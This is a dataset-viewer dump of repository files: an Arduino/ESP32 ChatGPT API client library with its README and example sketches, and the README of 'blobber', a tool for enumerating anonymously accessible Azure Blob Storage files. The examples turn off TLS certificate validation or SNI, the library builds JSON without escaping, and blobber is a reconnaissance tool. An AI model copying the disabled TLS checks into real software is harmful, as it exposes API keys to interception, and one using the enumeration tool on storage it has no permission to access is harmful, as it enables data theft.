Dataset Viewer (First 5GB)
Auto-converted to Parquet
repo_id
stringlengths
6
101
size
int64
367
5.14M
file_path
stringlengths
2
269
content
stringlengths
367
5.14M
0015/ChatGPT_Client_For_Arduino
6,552
README.md
## Overview The ChatGPT Arduino Library provides a convenient way to interact with the OpenAI GPT models from Arduino environments, such as ESP32 devices. With this library, you can easily send text and vision queries to the ChatGPT API and receive responses directly in your Arduino projects. ## Features - **Text Generation**: Generate text-based responses to user queries using the ChatGPT models. - **Vision Question Answering**: Utilize the vision capabilities of ChatGPT to answer questions about images. - **Simple API Integration**: Simple and intuitive API for seamless integration into your Arduino projects. ## Authentication The OpenAI API uses API keys for authentication. Visit your API Keys page to retrieve the API key you'll use in your requests. First, get your SECRET KEY issued here. https://platform.openai.com/api-keys ![API Keys](misc/openai_API-Keys.png) ## Installation ### Using Arduino Library Manager From Arduino IDE, go to menu *Sketch -> Include Library -> Manage Libraries...* In Library Manager Window, search *"ChatGPT"* in the search form then select *"ChatGPT_Client"* Click *"Install"* button. ### Manual installation Download zip file from this repository by selecting the green *"Code"* dropdown at the top of repository, select *"Download ZIP"* From Arduino IDE, select menu *Sketch -> Include Library -> Add .ZIP Library...* Or use git: ``` cd ~/arduino/libraries/ gh repo clone 0015/ChatGPT_Client_For_Arduino ``` Then you should see the examples and be able to include the library in your projects with: ``` #include <ChatGPT.hpp> ``` ## Usage 1. Include the `ChatGPT.hpp` header file in your Arduino sketch. 2. Create a `ChatGPT` object and provide your API key and other required parameters. 3. Use the provided methods to send queries to the ChatGPT API and receive responses. ### Example: ```cpp #include <ChatGPT.hpp> // Initialize ChatGPT client WiFiSSLClient wifiClient; ChatGPT<WiFiSSLClient> chatGPT(&wifiClient, "v1", "YOUR_API_KEY", 10000); void exampleTextQuestion() { /* model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo"). role: Role of the message sender (e.g., "user" or "assistant"). content: Content of the message to send. max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. */ String result; Serial.println("\n\n[ChatGPT] - Asking a Text Question"); if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionWithURL() { /* model: Model to use for generating the response (e.g., "gpt-4o"). role: Role of the message sender (e.g., "user" or "assistant"). type: Type of content (e.g., "text"). text: Text content of the message. image_type: Type of the image (e.g., "image_url"). image_url: URL of the image. detail: Detail level of the image (e.g., "high", "low", "auto"). max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. */ String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโ€™s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } ``` ### Result: ```json [ChatGPT] - Asking a Text Question [ChatGPT] Response: { "id": "chatcmpl-9QjdlCkqkB4dsVXBzUTRTBYafI7f3", "object": "chat.completion", "created": 1716158997, "model": "gpt-3.5-turbo-0125", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "One of the best features of GPT-4o is its advanced natural language processing capabilities. GPT-4o has a deeper understanding of context, nuance, and complex language structures, allowing it to generate more accurate and coherent responses to a wide range of prompts. Its improved language modeling capabilities make it more versatile and effective in various tasks such as text generation, language translation, and question answering. Overall, the enhanced natural language processing capabilities of GPT-4o make it a powerful tool" }, "logprobs": null, "finish_reason": "length" } ], "usage": { "prompt_tokens": 19, "completion_tokens": 100, "total_tokens": 119 }, "system_fingerprint": null } ``` ```json [ChatGPT] - Asking a Vision Question [ChatGPT] Response: { "id": "chatcmpl-9Qjdp5B4wyE5cVbcLOucvm9uoT6rH", "object": "chat.completion", "created": 1716159001, "model": "gpt-4o-2024-05-13", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "The image shows a peaceful lakeside pathway. The path is made of bricks and runs alongside a body of water. There is greenery on both sides of the path with trees providing shade on the right side. Off in the distance, you can see some buildings, possibly residential apartments, and more greenery. The atmosphere appears to be calm and serene." }, "logprobs": null, "finish_reason": "stop" } ], "usage": { "prompt_tokens": 268, "completion_tokens": 69, "total_tokens": 337 }, "system_fingerprint": "fp_927397958d" } ``` ### Limitation AVR and ESP8266 may not operate smoothly due to insufficient memory allocation. It looks like this part will need to be updated again soon. # Updates - v0.2.0 - Support Vision Question (GPT-4o) - Support larger payloads - ArduinoJson 7 - v0.1.2 - Demo Bugs Fixed - v0.1.1 - Added ESP8266 Example - v0.1.0 - Only Support Chat completion yet - Model, only gpt-3.5-turbo and gpt-3.5-turbo-0301 are supported # License This software is written by Eric Nam and is licensed under The MIT License. Check License file for more information.
0015/ChatGPT_Client_For_Arduino
10,335
src/ChatGPT.hpp
/* * Project ChatGPT Client * Description: The official method using API Key for communication with ChatGPT * Author: Eric Nam * Date: 07-17-2024 */ #ifndef __CHATGPT__ #define __CHATGPT__ template <class T> class ChatGPT { public: /* * Description: * Constructor for the ChatGPT class. * * Parameters: * - _client: Pointer to the HTTP client object. * - api_version_in: The API version to use. * - api_key_in: The API key for authentication. * - timeout_in: The timeout duration for requests. */ ChatGPT(T *_client, const char *api_version_in, const char *api_key_in, unsigned long timeout_in) : client(_client), api_version(api_version_in), api_key(api_key_in), timeout(timeout_in) { timeout = (timeout_in < 5000) ? 5000 : timeout_in; } ~ChatGPT() = default; /* * Description: * Sends a vision question to the ChatGPT API. * * Parameters: * - model: The model to use for generating the response. * - role: The role of the user (e.g., "user", "assistant"). * - type: The type of the content (e.g., "text", "image_url"). * - text: The text content of the message. * - image_type: The type of the image content. * - image_url: The URL of the image. * - detail: The detail level of the image (e.g., "low", "high"). * - max_tokens: The maximum number of tokens to generate. * - content_only: If true, extracts and returns only the content from the response. * - result: Stores the response from the API. * - mem_dynamic: Select Dynamic/Static Memory, (Default: Dyanmic Memory) * * Returns: * - True if the request is successful, false otherwise. */ bool vision_question( const char *model, const char *role, const char *type, const char *text, const char *image_type, const char *image_url, const char *detail, int max_tokens, bool content_only, String &result, bool mem_dynamic = true) { char *post_body = nullptr; // Initialize post_body pointer int post_body_size = 0; if (mem_dynamic) { // Calculate the required size for dynamic allocation post_body_size = snprintf(nullptr, 0, "{\"model\": \"%s\", \"messages\": [{\"role\": \"%s\", \"content\": [{\"type\": \"%s\", \"text\": \"%s\"}, {\"type\": \"%s\", \"image_url\": {\"url\": \"%s\", \"detail\": \"%s\"}}]}], \"max_tokens\": %d}", model, role, type, text, image_type, image_url, detail, max_tokens) + 1; post_body = new char[post_body_size]; if (post_body == nullptr) { result = "[ERR] Memory allocation failed!"; return false; } } else { // Use a static buffer with a fixed size static const int static_buffer_size = 512; char static_post_body[static_buffer_size]; post_body_size = static_buffer_size; post_body = static_post_body; } // Format the post_body string snprintf(post_body, post_body_size, "{\"model\": \"%s\", \"messages\": [{\"role\": \"%s\", \"content\": [{\"type\": \"%s\", \"text\": \"%s\"}, {\"type\": \"%s\", \"image_url\": {\"url\": \"%s\", \"detail\": \"%s\"}}]}], \"max_tokens\": %d}", model, role, type, text, image_type, image_url, detail, max_tokens); // Call the _post function bool success = _postStream(post_body, content_only, result); // Free dynamic memory if allocated if (mem_dynamic) { delete[] post_body; } return success; } /* * Description: * Sends a chat message to the ChatGPT API. * * Parameters: * - model: The model to use for generating the response. * - role: The role of the user (e.g., "user", "assistant"). * - content: The content of the message. * - max_tokens: The maximum number of tokens to generate. * - content_only: If true, extracts and returns only the content from the response. * - result: Stores the response from the API. * - mem_dynamic: Select Dynamic/Static Memory, (Default: Dyanmic Memory) * * Returns: * - True if the request is successful, false otherwise. */ bool chat_message( const char *model, const char *role, const char *content, int max_tokens, bool content_only, String &result, bool mem_dynamic = true) { char *post_body = nullptr; // Initialize post_body pointer int post_body_size = 0; if (mem_dynamic) { // Calculate the required size for dynamic allocation post_body_size = snprintf(nullptr, 0, "{\"model\": \"%s\", \"max_tokens\": %d, \"messages\": [{\"role\": \"%s\", \"content\": \"%s\"}]}", model, max_tokens, role, content) + 1; post_body = new char[post_body_size]; if (post_body == nullptr) { result = "[ERR] Memory allocation failed!"; return false; } } else { // Use a static buffer with a fixed size static const int static_buffer_size = 256; char static_post_body[static_buffer_size]; post_body_size = static_buffer_size; post_body = static_post_body; } // Format the post_body string snprintf(post_body, post_body_size, "{\"model\": \"%s\", \"max_tokens\": %d, \"messages\": [{\"role\": \"%s\", \"content\": \"%s\"}]}", model, max_tokens, role, content); // Call the _post function bool success = _postStream(post_body, content_only, result); // Free dynamic memory if allocated if (mem_dynamic) { delete[] post_body; } return success; } private: static constexpr const char *host = "api.openai.com"; static constexpr const int httpsPort = 443; T *client = nullptr; String api_version; String api_key; unsigned long timeout; /* * Description: * Sends an HTTP POST request to the ChatGPT API in streaming mode. * * Parameters: * - post_body: The body of the POST request. * - content_only: If true, extracts and returns only the content from the response. * - result: Stores the response from the API. * * Returns: * - True if the request is successful, false otherwise. */ bool _postStream( const char *post_body, bool content_only, String &result) { if (!client->connect(host, httpsPort)) { result = "[ERR] Connection failed!"; return false; } size_t payload_length = strlen(post_body); String auth_header = _get_auth_header(api_key); String http_request = "POST /" + api_version + "/chat/completions HTTP/1.1\r\n" + auth_header + "\r\n" + "Host: " + host + "\r\n" + "Cache-control: no-cache\r\n" + "User-Agent: ESP32 ChatGPT\r\n" + "Content-Type: application/json\r\n" + "Content-Length: " + String(payload_length) + "\r\n" + "Connection: close\r\n" + "\r\n"; // Send the HTTP request headers client->print(http_request); // Send the HTTP request body in chunks size_t bytes_sent = 0; while (bytes_sent < payload_length) { size_t chunk_size = minimum(payload_length - bytes_sent, static_cast<size_t>(1024)); // Adjust chunk size as needed size_t bytes_written = client->write((const uint8_t *)post_body + bytes_sent, chunk_size); if (bytes_written != chunk_size) { result = "[ERR] Failed to send data"; client->stop(); return false; } bytes_sent += bytes_written; } // Wait for the response String responseStr; unsigned long startTime = millis(); while (client->connected() && millis() - startTime < timeout) { if (client->available()) { responseStr += client->readStringUntil('\n'); responseStr += "\r\n"; startTime = millis(); // Reset the timeout timer whenever new data is received } } // Handle timeout if (millis() - startTime >= timeout) { result = "[ERR] Timeout"; client->stop(); return false; } client->stop(); // Check for valid response if (responseStr.length() == 0) { result = "[ERR] Empty response"; return false; } // Extract response code int responseCode = responseStr.substring(responseStr.indexOf(" ") + 1, responseStr.indexOf(" ") + 4).toInt(); if (responseCode != 200) { result = responseStr; return false; } // Extract JSON body int start = responseStr.indexOf("{"); int end = responseStr.lastIndexOf("}"); String jsonBody = responseStr.substring(start, end + 1); if (jsonBody.length() == 0) { result = "[ERR] Couldn't read JSON data"; return false; } if (content_only) { return getContent(jsonBody.c_str(), result); } else { result = jsonBody; return true; } } String _get_auth_header(const String &api) { return "Authorization: Bearer " + api; } bool getContent(const char *jsonString, String &result) { JsonDocument doc; DeserializationError error = deserializeJson(doc, jsonString); if (error) { result = "deserializeJson() failed: "; result += error.f_str(); return false; } // Check if the "choices" array exists and contains at least one element if (doc.containsKey("choices") && doc["choices"].is<JsonArray>() && doc["choices"].size() > 0) { // Access the first element of the "choices" array JsonObject choice = doc["choices"][0]; // Check if the "message" object exists if (choice.containsKey("message")) { // Access the "message" object JsonObject message = choice["message"]; // Check if the "content" field exists if (message.containsKey("content")) { // Access and store the value of the "content" field const char *content = message["content"]; result = content; return true; } else { result = "No 'content' field found"; return false; } } else { result = "No 'message' object found"; return false; } } else { result = "No 'choices' array found or it is empty"; return false; } } size_t minimum(size_t a, size_t b) { return (a < b) ? a : b; } }; #endif
0015/ChatGPT_Client_For_Arduino
1,076
examples/Arduino_SSLClient/Base64ImageData.h
#ifndef BASE64_IMAGE_DATA_H #define BASE64_IMAGE_DATA_H // The image is a solid red color. const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k="; #endif
0015/ChatGPT_Client_For_Arduino
4,453
examples/Arduino_SSLClient/Arduino_SSLClient.ino
/* * Project ChatGPT Client For Arduino (Arduino Giga R1, Arduino Portenta H7) * Description: For HTTPS connection using Arduino WiFiSSLClient * Author: Eric Nam * Date: 07-17-2024 */ #include <WiFi.h> #include <WiFiSSLClient.h> #include <ArduinoJson.h> #include <ChatGPT.hpp> #include "Base64ImageData.h" static const char *ssid = "<WIFI_SSID>"; static const char *pass = "<WIFI_PW>"; int status = WL_IDLE_STATUS; /* client: Pointer to the HTTP client object used for making API requests. api_version: API version to use for communication (e.g., "v1"). api_key: API key for authentication with the ChatGPT API. timeout: Timeout duration for API requests, in milliseconds. */ WiFiSSLClient client; ChatGPT<WiFiSSLClient> chatGPT_Client(&client, "v1", "<OpenAI_API_KEY>", 60000); void exampleTextQuestion() { /* model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo"). role: Role of the message sender (e.g., "user" or "assistant"). content: Content of the message to send. max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Text Question"); if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionBase64() { /* model: Model to use for generating the response (e.g., "gpt-4o"). role: Role of the message sender (e.g., "user" or "assistant"). type: Type of content (e.g., "text"). text: Text content of the message. image_type: Type of the image (e.g., "image_url"). image_url: URL of the image or Base64 Image Data detail: Detail level of the image (e.g., "high", "low", "auto"). max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโ€™s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionWithURL() { String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโ€™s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void setup() { //Initialize serial and wait for port to open: Serial.begin(115200); while (!Serial) { ; // wait for serial port to connect. Needed for native USB port only } // check for the WiFi module: if (WiFi.status() == WL_NO_MODULE) { Serial.println("Communication with WiFi module failed!"); // don't continue while (true) ; } // attempt to connect to WiFi network: while (status != WL_CONNECTED) { Serial.print("Attempting to connect to SSID: "); Serial.println(ssid); // Connect to WPA/WPA2 network. Change this line if using open or WEP network: status = WiFi.begin(ssid, pass); // wait 10 seconds for connection: delay(10000); } Serial.println("Connected to WiFi"); Serial.println("[ChatGPT] - Examples"); delay(1000); exampleTextQuestion(); // Post Body in Static Memory delay(1000); exampleVisionQuestionWithURL(); // Post Body in Dynamic memory } void loop() {}
0015/ChatGPT_Client_For_Arduino
1,076
examples/ESP32_WiFiClientSecure/Base64ImageData.h
#ifndef BASE64_IMAGE_DATA_H #define BASE64_IMAGE_DATA_H // The image is a solid red color. const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k="; #endif
0015/ChatGPT_Client_For_Arduino
4,002
examples/ESP32_WiFiClientSecure/ESP32_WiFiClientSecure.ino
/* * Project ChatGPT Client For ESP32 * Description: For HTTPS connection using WiFiClientSecure * Author: Eric Nam * Date: 07-17-2024 */ #include <WiFi.h> #include <WiFiClientSecure.h> #include <ArduinoJson.h> #include <ChatGPT.hpp> #include "Base64ImageData.h" static const char *ssid = "<WIFI_SSID>"; static const char *pass = "<WIFI_PW>"; /* client: Pointer to the HTTP client object used for making API requests. api_version: API version to use for communication (e.g., "v1"). api_key: API key for authentication with the ChatGPT API. timeout: Timeout duration for API requests, in milliseconds. */ WiFiClientSecure client; ChatGPT<WiFiClientSecure> chatGPT_Client(&client, "v1", "<OpenAI_API_KEY>", 60000); void exampleTextQuestion() { /* model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo"). role: Role of the message sender (e.g., "user" or "assistant"). content: Content of the message to send. max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Text Question"); if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionBase64() { /* model: Model to use for generating the response (e.g., "gpt-4o"). role: Role of the message sender (e.g., "user" or "assistant"). type: Type of content (e.g., "text"). text: Text content of the message. image_type: Type of the image (e.g., "image_url"). image_url: URL of the image or Base64 Image Data detail: Detail level of the image (e.g., "high", "low", "auto"). max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโ€™s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionWithURL() { String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโ€™s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void setup() { Serial.begin(115200); Serial.print("Connecting to WiFi network: "); Serial.print(ssid); Serial.println("'..."); WiFi.begin(ssid, pass); while (WiFi.status() != WL_CONNECTED) { Serial.println("Connecting..."); delay(1000); } Serial.println("Connected!"); // Ignore SSL certificate validation client.setInsecure(); Serial.println("[ChatGPT] - Examples"); delay(1000); exampleTextQuestion(); // Post Body in Static Memory delay(1000); exampleVisionQuestionWithURL(); // Post Body in Dynamic memory } void loop() {}
0015/ChatGPT_Client_For_Arduino
1,076
examples/Arduino_BearSSLExample/Base64ImageData.h
#ifndef BASE64_IMAGE_DATA_H #define BASE64_IMAGE_DATA_H // The image is a solid red color. const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k="; #endif
0015/ChatGPT_Client_For_Arduino
4,223
examples/Arduino_BearSSLExample/Arduino_BearSSLExample.ino
/* * Project ChatGPT Client For Arduino * Description: For HTTPS connection using ArduinoBearSSL * Author: Eric Nam * Date: 07-17-2024 */ //#define ARDUINO_DISABLE_ECCX08 #include <ArduinoBearSSL.h> #include <WiFi.h> #include <ArduinoJson.h> #include <ChatGPT.hpp> #include "Base64ImageData.h" static const char *ssid = "<WIFI_SSID>"; static const char *password = "<WIFI_PW>"; int status = WL_IDLE_STATUS; /* client: Pointer to the HTTP client object used for making API requests. api_version: API version to use for communication (e.g., "v1"). api_key: API key for authentication with the ChatGPT API. timeout: Timeout duration for API requests, in milliseconds. */ WiFiClient client; BearSSLClient sslClient(client); ChatGPT<BearSSLClient> chatGPT_Client(&sslClient, "v1", "<OpenAI_API_KEY>", 60000); void exampleTextQuestion() { /* model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo"). role: Role of the message sender (e.g., "user" or "assistant"). content: Content of the message to send. max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Text Question"); if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionBase64() { /* model: Model to use for generating the response (e.g., "gpt-4o"). role: Role of the message sender (e.g., "user" or "assistant"). type: Type of content (e.g., "text"). text: Text content of the message. image_type: Type of the image (e.g., "image_url"). image_url: URL of the image or Base64 Image Data detail: Detail level of the image (e.g., "high", "low", "auto"). max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโ€™s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionWithURL() { String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโ€™s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } unsigned long getTime() { return WiFi.getTime(); } void setup() { Serial.begin(115200); if (WiFi.status() == WL_NO_SHIELD) return; int status = WL_IDLE_STATUS; while (status != WL_CONNECTED) { status = WiFi.begin(ssid, password); delay(1000); } Serial.println("Connected!"); ArduinoBearSSL.onGetTime(getTime); // Disable Server Name Indication: // for testing purposes only // DO NOT USE IN PRODUCTION sslClient.setInsecure(BearSSLClient::SNI::Insecure); Serial.println("[ChatGPT] - Examples"); delay(1000); exampleTextQuestion(); // Post Body in Static Memory delay(1000); exampleVisionQuestionWithURL(); // Post Body in Dynamic memory } void loop() {}
000pp/blobber
1,421
README.md
<div align="center"> <img src="https://i.imgur.com/Y2XXof7.jpeg" width="900"> <br> ___ <br> <img src="https://img.shields.io/github/license/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/issues/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/stars/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/forks/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/languages/code-size/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> </div> <br> <h3> Blobber - Azure Blob Storage Service Enumeration Tool </h2> <p> <b>Blobber</b> is a tool focused on enumerating files stored in an Azure Blob Storage Service with anonymous access enabled. </p> <br> <h3> Installation </h3> <pre> ~$ apt install pipx ~$ pipx ensurepath ~$ pipx install git+https://github.com/oppsec/blobber.git ~$ blobber </pre> <br> <h3> Usage examples </h3> <pre> blobber -u "https://target.com/uploads" blobber -u "https://target.com/assets" -f '.pdf' </pre> <br> <h3> Updating </h4> <pre> 1. option: pipx install git+https://github.com/oppsec/blobber.git --force 2. option: pipx reinstall blobber --python /usr/bin/python </pre> <br> <h3> Warning </h3> <p> The developer is not responsible for any malicious use of this tool </p>
000pp/blobber
1,071
src/blobber/main.py
